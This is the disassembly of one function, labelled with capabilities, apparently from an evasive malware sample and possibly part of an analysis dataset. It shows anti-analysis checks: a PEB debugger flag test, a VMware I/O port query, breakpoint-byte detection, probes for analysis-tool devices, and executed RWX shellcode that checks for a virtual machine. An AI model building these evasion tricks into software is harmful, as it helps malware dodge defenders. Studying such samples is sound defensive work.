Function at 0x401320
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Execute shellcode via indirect call
Get hostname
Packed with generic packer
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262b8
push 0x424360
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x164
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov cl, byte [0x42bd14]
mov eax, dword [0x42bd0c]
sub cl, al
mov byte [0x42bcdc], cl
mov ebx, 1
mov word [0x42bce2], bx
and eax, 0x4ddbffff
mov dword [0x42bd14], eax
push ebx
movsx edx, byte [0x42bcda]
push edx
call fcn.0040e480
mov dword [0x42bd18], eax
push 0xf263ffff
push 0x7df1ffff
call fcn.0040e480
add esp, 0x10
mov word [0x42bcee], ax
mov al, byte [0x42bd10]
dec al
mov byte [0x42bcdd], al
mov eax, dword [0x42bcb0]
test eax, eax
jne 0x401f52
mov byte [0x42bce0], 0xfe
push 0x3d3ffff
mov ecx, dword [0x42bd0c]
push ecx
call fcn.0040e620
add esp, 8
mov dword [0x42bd00], eax
mov dword [ebp - 4], 0
movsx edx, word [0x42bcea]
push edx
mov eax, dword [0x42bcf8]
push eax
call fcn.0040e500
add esp, 8
mov byte [0x42bcdb], al
mov al, byte [0x42bcdf]
test al, al
je 0x40140e
mov al, byte [0x42bcdd]
test al, al
je 0x40140e
mov eax, ebx
jmp 0x401410
xor eax, eax
mov dword [0x42bcf8], eax
mov cl, byte [0x42bcb4]
mov byte [ebp - 0x124], cl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
mov dword [ebp - 0x20], esi
mov edx, dword [0x42bd08]
sub edx, dword [0x42bd00]
mov dword [0x42bd0c], edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [0x42c158]
push 0xe55dffff
mov edx, dword [0x42bd00]
push edx
call fcn.0040e480
mov word [0x42bcf0], ax
mov dword [0x42bd08], 0x4dc80000
movsx eax, byte [0x42bcdc]
push eax
push 0xbc07ffff
call fcn.0040e500
mov word [0x42bce8], ax
mov ecx, dword [0x42bcf8]
push ecx
mov edx, dword [0x42bd0c]
push edx
call fcn.0040e480
add esp, 0x18
mov byte [0x42bcda], al
lea ecx, [ebp - 0x124]
call fcn.00401fd0
neg al
sbb eax, eax
and eax, 5
mov dword [ebp - 0x1c], eax
jne 0x40157c
mov ax, word [0x42bcee]
or eax, 0x387fffff
mov word [0x42bce2], ax
mov dword [ebp - 0x20], esi
push 0xb16fffff
push 0x3581ffff
call fcn.0040e480
mov dword [0x42bcf8], eax
movsx ecx, word [0x42bcf0]
push ecx
mov edx, dword [0x42bd10]
push edx
call fcn.0040e620
add esp, 0x10
mov word [0x42bce8], ax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov edx, dword [0x42bd08]
push edx
movsx eax, byte [0x42bcdc]
push eax
call fcn.0040e5d0
add esp, 8
mov byte [0x42bcd9], al
lea ecx, [ebp - 0x124]
call fcn.00401fd0
neg al
sbb eax, eax
and eax, 6
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp word [0x42bce4], ax
setne al
mov byte [0x42bcdf], al
movsx ecx, byte [0x42bcde]
mov dx, word [0x42bce2]
or ecx, edx
mov word [0x42bce2], cx
mov dword [0x42bcf8], 0xd2160001
mov byte [0x42bcdd], 0xff
mov ecx, dword [0x42bcee]
mov eax, ecx
neg eax
shl eax, 4
sub eax, ecx
lea eax, [eax + eax*4]
shl eax, 0x12
sub eax, ecx
mov byte [0x42bcdf], al
xor esi, esi
cmp dword [ebp - 0x1c], esi
jne 0x401f40
push 0x9093ffff
push 0x1835ffff
call fcn.0040e5d0
mov word [0x42bcf0], ax
mov dword [ebp - 0x1c], 7
mov ecx, dword [0x42bd08]
or ecx, 0x24b1ffff
mov byte [0x42bcd8], cl
push 0xca3bffff
mov edx, dword [0x42bd18]
push edx
call fcn.0040e5d0
mov dword [0x42bd04], eax
mov dword [ebp - 0x174], esi
mov eax, dword [0x42bd00]
push eax
movsx ecx, byte [0x42bcd8]
push ecx
call fcn.0040e540
mov word [0x42bce8], ax
mov dx, word [0x42bce2]
or edx, 0x28efffff
mov word [0x42bce2], dx
push 0xed95ffff
movsx eax, word [0x42bcec]
push eax
call fcn.0040e500
add esp, 0x20
mov byte [0x42bcd9], al
mov dword [ebp - 4], ebx
mov ecx, dword [0x42bd04]
push ecx
push 0x14d3ffff
call fcn.0040e540
mov word [0x42bcec], ax
push 0x3fb7ffff
push 0x6bb1ffff
call fcn.0040e500
mov dword [0x42bd0c], eax
mov dl, byte [0x42bcdf]
or edx, 0x5d39ffff
mov byte [0x42bcdf], dl
mov eax, dword [0x42bcf8]
push eax
push 0xf939ffff
call fcn.0040e620
add esp, 0x18
mov byte [0x42bcdb], al
call dword [sym.imp.KERNEL32.DLL_GetVersion]
test eax, 0x80000000
je 0x40170d
mov ecx, dword [0x42bd18]
push ecx
push 0x8703ffff
call fcn.0040e5d0
mov dword [0x42bd14], eax
movsx edx, word [0x42bce6]
and edx, 0xd8e5ffff
mov dword [0x42bd00], edx
mov word [0x42bce6], bx
mov eax, dword fs:[0x20]
mov dword [ebp - 0x174], eax
mov eax, dword [0x42bcf8]
push eax
push 0xd391ffff
call fcn.0040e620
add esp, 0x10
mov word [0x42bcf0], ax
mov dword [ebp - 4], esi
mov ax, word [0x42bce4]
jmp 0x4017b6
mov ecx, dword [0x42bd00]
push ecx
push 0xb1e7ffff
call fcn.0040e670
mov word [0x42bce2], ax
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
movzx eax, al
mov dword [ebp - 0x174], eax
movsx edx, byte [0x42bcde]
movsx eax, byte [0x42bcda]
sub eax, edx
mov dword [0x42bd04], eax
push 0xe9afffff
movsx ecx, word [0x42bce4]
push ecx
call fcn.0040e540
mov byte [0x42bcdf], al
mov edx, dword [0x42bd10]
push edx
movsx eax, word [0x42bce8]
push eax
call fcn.0040e500
add esp, 0x18
mov byte [0x42bcd9], al
mov dword [ebp - 4], esi
mov ax, word [0x42bce4]
jmp 0x4017b6
cmp word [0x42bcf0], 0
je 0x4017ce
cmp word [0x42bcee], 0
je 0x4017ce
mov ecx, ebx
jmp 0x4017d0
xor ecx, ecx
mov dword [0x42bcf8], ecx
movsx ecx, ax
push ecx
push 0xea45ffff
call fcn.0040e4c0
mov word [0x42bcf0], ax
movsx edx, word [0x42bce8]
push edx
movsx eax, word [0x42bce2]
push eax
call fcn.0040e670
mov dword [0x42bd08], eax
push 0xc76fffff
push 0x1a49ffff
call fcn.0040e670
add esp, 0x18
mov word [0x42bce4], ax
mov eax, dword [ebp - 0x174]
test eax, eax
jne 0x401f40
mov dword [ebp - 0x1c], 0xa
movsx ecx, byte [0x42bcdf]
push ecx
push 0x7b97ffff
call fcn.0040e540
mov dword [0x42bd04], eax
push 0xc859ffff
push 0xa211ffff
call fcn.0040e4c0
mov dword [0x42bd14], eax
push 0xc989ffff
push 0xc0dbffff
call fcn.0040e500
mov byte [0x42bcdb], al
push 0x3645ffff
push 0xab51ffff
call fcn.0040e580
mov byte [0x42bcdf], al
mov edx, dword [0x42bd14]
push edx
mov eax, dword [0x42bd04]
push eax
call fcn.0040e5d0
add esp, 0x28
mov word [0x42bcee], ax
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x168]
mov ecx, str.GG5GHRXe
call fcn.004012f0
push eax
call dword [0x42c1b8]
mov dword [ebp - 0x170], eax
cmp eax, 0xffffffff
jne 0x401eb0
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x168]
mov ecx, str.GG5GUORXe
call fcn.004012f0
push eax
call dword [0x42c1b8]
mov dword [ebp - 0x170], eax
cmp eax, 0xffffffff
jne 0x401eb0
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
lea edx, [ebp - 0x168]
mov ecx, str.GG5GHRLMR_HOZIOepiuw__e
call fcn.004012f0
push eax
call dword [0x42c1b8]
mov dword [ebp - 0x170], eax
cmp eax, 0xffffffff
jne 0x401eb0
push 0x1c99ffff
push 0x1bdffff
call fcn.0040e670
mov word [0x42bce4], ax
mov ecx, dword [0x42bd00]
imul ecx, ecx, 0x99fffff
mov dword [0x42bd08], ecx
push 0x6f8dffff
movsx edx, word [0x42bcea]
push edx
call fcn.0040e4c0
mov byte [0x42bcde], al
mov dword [ebp - 0x1c], 8
mov eax, dword [0x42bd00]
push eax
movsx ecx, byte [0x42bcdc]
push ecx
call fcn.0040e580
mov byte [0x42bce0], al
movsx edx, word [0x42bce8]
push edx
push 0x849bffff
call fcn.0040e6b0
mov dword [0x42bcf8], eax
push 0x93b5ffff
push 0x854bffff
call fcn.0040e670
add esp, 0x28
mov word [0x42bcf2], ax
lea edx, [ebp - 0x168]
mov ecx, 0x42628c
call fcn.004012f0
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, eax
mov dword [ebp - 0x16c], esi
movsx eax, byte [0x42bcd8]
or eax, 0xee77ffff
mov word [0x42bce8], ax
push 0x4327ffff
mov ecx, dword [0x42bcfc]
push ecx
call fcn.0040e6b0
add esp, 8
mov word [0x42bce8], ax
lea edx, [ebp - 0x168]
mov ecx, str.Nuszu
call fcn.004012f0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor edx, edx
mov dl, byte [eax]
cmp edx, 0xffffffcc
jne 0x401a57
mov ax, word [0x42bce8]
mov cl, byte [0x42bcdf]
or eax, ecx
mov byte [0x42bcd8], al
jmp 0x401f40
movsx edx, word [0x42bcea]
push edx
push 0xc05dffff
call fcn.0040e5d0
mov dword [0x42bd14], eax
push 0x90f9ffff
movsx eax, word [0x42bce4]
push eax
call fcn.0040e4c0
add esp, 0x10
mov byte [0x42bcdf], al
mov al, byte [0x42bcde]
test al, al
je 0x401a9e
mov eax, dword [0x42bd14]
test eax, eax
je 0x401a9e
mov eax, ebx
jmp 0x401aa0
xor eax, eax
mov byte [0x42bcde], al
mov dword [ebp - 0x1c], ebx
mov dword [0x42bd18], 0xa7fbffff
push 0x48a7ffff
movsx ecx, byte [0x42bcda]
push ecx
call fcn.0040e500
add esp, 8
mov dword [0x42bd14], eax
mov dl, byte [0x42bce0]
or edx, 0x8ae5ffff
mov byte [0x42bce0], dl
mov dword [ebp - 4], 2
movsx eax, word [0x42bcec]
push eax
movsx ecx, byte [0x42bcdb]
push ecx
call fcn.0040e620
add esp, 8
mov word [0x42bcee], ax
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [ebp - 0x174], eax
mov dl, byte [0x42bce2]
mov byte [0x42bcd8], dl
jmp 0x401b59
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x174]
test eax, eax
jne 0x401f40
push 0x3d97ffff
mov edx, dword [0x42bd18]
push edx
call fcn.0040e480
mov word [0x42bcec], ax
mov dword [ebp - 0x1c], 2
movsx eax, word [0x42bce2]
sub eax, 0x30a0001
mov dword [0x42bd10], eax
mov dword [0x42bd10], 0xdd9c0001
movsx ecx, byte [0x42bcdf]
push ecx
push 0xf473ffff
call fcn.0040e500
mov byte [0x42bcdc], al
movsx edx, byte [0x42bce0]
push edx
push 0xcc4bffff
call fcn.0040e540
add esp, 0x18
mov dword [0x42bd00], eax
push pe_nt_image_headers32
push 0x1000
push 0x1000
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x128], esi
push 0xf961ffff
movsx eax, word [0x42bcf2]
push eax
call fcn.0040e500
mov dword [0x42bd10], eax
mov ecx, dword [0x42bd18]
lea eax, [ecx*8]
sub eax, ecx
neg eax
lea eax, [eax + eax*4]
lea edx, [eax + eax*2]
shl edx, 3
sub edx, ecx
shl edx, 0x14
sub edx, ecx
mov byte [0x42bcd8], dl
mov eax, dword [0x42bd04]
add eax, 0x64320001
mov word [0x42bce2], ax
push 0xa959ffff
push 0xb75ffff
call fcn.0040e580
mov byte [0x42bcdf], al
mov byte [esi], 0xf
mov byte [esi + 1], 0x3f
mov byte [esi + 2], bl
mov byte [esi + 3], bl
mov byte [esi + 4], 0xc3
mov cl, byte [0x42bcd8]
or ecx, 0xa6cfffff
mov byte [0x42bcdc], cl
mov edx, dword [0x42bcf8]
or edx, 0xbabbffff
mov byte [0x42bcdf], dl
mov word [0x42bce4], 0xffff
push 0x2c91ffff
mov eax, dword [0x42bcfc]
push eax
call fcn.0040e480
add esp, 0x18
mov dword [0x42bd00], eax
mov dword [ebp - 4], 3
lea ecx, [eax + eax*2]
shl ecx, 3
sub ecx, eax
lea edx, [eax + ecx*8]
shl edx, 0x12
sub edx, eax
mov byte [0x42bcd9], dl
push 0x6bf5ffff
movsx eax, byte [0x42bcde]
push eax
call fcn.0040e6b0
add esp, 8
mov word [0x42bcec], ax
movsx eax, word [0x42bce4]
mov ecx, eax
neg ecx
shl ecx, 4
sub ecx, eax
shl ecx, 4
sub ecx, eax
shl ecx, 2
sub ecx, eax
shl ecx, 0x14
sub ecx, eax
mov dword [0x42bcf8], ecx
mov dx, word [0x42bd14]
mov word [0x42bcea], dx
pushal
mov eax, dword [ebp - 0x128]
call eax
popal
inc dword [ebp - 0x174]
push 0x9153ffff
push 0xe465ffff
call fcn.0040e4c0
mov dword [0x42bd08], eax
push 0x1e8bffff
mov eax, dword [0x42bd18]
push eax
call fcn.0040e6b0
mov byte [0x42bcdd], al
push 0x29ffffff
movsx ecx, byte [0x42bcd9]
push ecx
call fcn.0040e500
add esp, 0x18
mov byte [0x42bcdf], al
movsx edx, word [0x42bce6]
sub edx, 0x6081ffff
mov dword [0x42bd14], edx
jmp 0x401dcb
mov dword [ebp - 4], 0
push 0x1db3ffff
mov eax, dword [0x42bcfc]
push eax
call fcn.0040e580
add esp, 8
mov byte [0x42bcd9], al
push 0x8000
push 0
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x17c3ffff
movsx edx, byte [0x42bcd8]
push edx
call fcn.0040e670
mov word [0x42bcee], ax
movsx eax, word [0x42bcf0]
push eax
push 0x2d13ffff
call fcn.0040e480
add esp, 0x10
mov dword [0x42bd14], eax
xor eax, eax
mov ecx, dword [0x42bcfc]
test ecx, ecx
setne al
mov byte [0x42bcdb], al
mov eax, dword [ebp - 0x174]
test eax, eax
jne 0x401f40
mov dword [ebp - 0x1c], 3
call fcn.00401220
test al, al
jne 0x401f40
mov word [0x42bcee], 0xffff
movsx ecx, byte [0x42bcda]
or ecx, 0xd29dffff
mov dword [0x42bcfc], ecx
mov edx, dword [0x42bd14]
imul edx, edx, 0xa0cdffff
mov word [0x42bce8], dx
push 0xacefffff
push 0x449bffff
call fcn.0040e540
add esp, 8
mov dword [0x42bcf8], eax
int3
movsx ecx, word [0x42bcea]
mov edx, dword [0x42bd0c]
sub edx, ecx
mov dword [0x42bd18], edx
xor ecx, ecx
mov dl, byte [0x42bcd9]
test dl, dl
setne cl
mov word [0x42bcec], cx
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401f40
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
mov dword [0x42bcb0], ecx
jmp 0x401f55
mov dword [ebp - 0x1c], eax
push 0xf28bffff
push 0xa613ffff
call fcn.0040e670
add esp, 8
mov dword [0x42bd08], eax
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401f82
call section..text
neg al
sbb eax, eax
and eax, 4
mov dword [ebp - 0x1c], eax
movsx edx, byte [0x42bcdb]
push edx
push 0x96edffff
call fcn.0040e540
mov dword [0x42bcfc], eax
push 0xcedffff
movsx eax, word [0x42bce8]
push eax
call fcn.0040e4c0
add esp, 0x10
mov dword [0x42bd00], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret